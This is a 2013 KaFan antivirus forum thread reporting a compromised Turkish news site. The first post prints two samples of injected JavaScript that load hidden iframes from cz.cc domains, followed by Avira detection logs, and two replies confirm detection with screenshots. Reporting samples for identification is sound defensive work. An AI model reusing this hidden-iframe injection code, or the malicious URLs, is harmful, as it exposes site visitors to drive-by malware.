查看: 1355|回复: 2
收起左侧

[已鉴定] http://www.mehmetkugu.com/ha/haberdetay.asp?bolum=751

[复制链接]
fireold
发表于 2013-12-19 06:51:40 | 显示全部楼层 |阅读模式
  1. if (document.getElementsByTagName('body')[0]) {
  2.                     iframer();
  3.                 } else {
  4.                     document.write("<iframe src='http://dnyfyrca.cz.cc/count16.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
  5.                 }
  6.                 function iframer() {
  7.                     var f = document.createElement('iframe');
  8.                     f.setAttribute('src', 'http://dnyfyrca.cz.cc/count16.php');
  9.                     f.style.visibility = 'hidden';
  10.                     f.style.position = 'absolute';
  11.                     f.style.left = '0';
  12.                     f.style.top = '0';
  13.                     f.setAttribute('width', '10');
  14.                     f.setAttribute('height', '10');
  15.                     document.getElementsByTagName('body')[0].appendChild(f);
  16.                 }
复制代码

  1. if (document.getElementsByTagName('body')[0]) {
  2.                     iframer();
  3.                 } else {
  4.                     document.write("<iframe src='http://dybumzmi.cz.cc/count23.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
  5.                 }
  6.                 function iframer() {
  7.                     var f = document.createElement('iframe');
  8.                     f.setAttribute('src', 'http://dybumzmi.cz.cc/count23.php');
  9.                     f.style.visibility = 'hidden';
  10.                     f.style.position = 'absolute';
  11.                     f.style.left = '0';
  12.                     f.style.top = '0';
  13.                     f.setAttribute('width', '10');
  14.                     f.setAttribute('height', '10');
  15.                     document.getElementsByTagName('body')[0].appendChild(f);
  16.                 }
复制代码


Avira
2013/12/19 上午 06:49 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\anket[1].htm'
      包含病毒或有害的程式 'JS/Redirector.htr' [virus]
      已採取動作:
      檔案會移動至 '54338944.qua' 名稱底下的隔離區目錄!

2013/12/19 上午 06:49 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數:        804
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/12/19 上午 06:47 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\haberdetay[1].htm'
      包含病毒或有害的程式 'JS/iFrame.GM.8' [virus]
      已採取動作:
      發生錯誤,檔案未刪除。錯誤識別碼:26003.
      檔案無法刪除!.
      嘗試使用 ARK 程式庫執行動作.
      檔案會移動至 '423c9e32.qua' 名稱底下的隔離區目錄!

2013/12/19 上午 06:47 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數:        800
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/12/19 上午 06:46 [排程管理員] 工作已開始
      工作 "Automatic update"
      已成功開始.

2013/12/19 上午 06:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\anket[1].htm 中
      偵測到病毒或有害的程式 'JS/Redirector.htr [virus]'
      執行的動作:傳輸至掃描程式

2013/12/19 上午 06:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\anket[1].htm 中
      偵測到病毒或有害的程式 'JS/Redirector.htr [virus]'
      執行的動作:拒絕存取

2013/12/19 上午 06:45 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mehmetkugu.com/ha/anket/anket.asp" 存取資料時,
      發現病毒或有害的程式 'JS/Redirector.htr' [virus]。
      已採取動作:已略過

2013/12/19 上午 06:45 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\haberdetay[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.GM.8 [virus]'
      執行的動作:傳輸至掃描程式

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 封鎖的網頁
      URL (http://ads-redirection.com/page.php) 的評估結果為 惡意程式碼,而遭到封鎖.

2013/12/19 上午 06:45 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mehmetkugu.com/ha/haberdetay.asp?bolum=751" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.GM.8' [virus]。
      已採取動作:已略過


av.jpg



fs is
fs.jpg
AV-C
头像被屏蔽
发表于 2013-12-19 17:49:30 | 显示全部楼层
捕获.PNG
z紫f风l铃
发表于 2013-12-20 22:13:37 | 显示全部楼层
谷歌拦
QQ图片20131220221302.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-4 15:00 , Processed in 0.146427 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表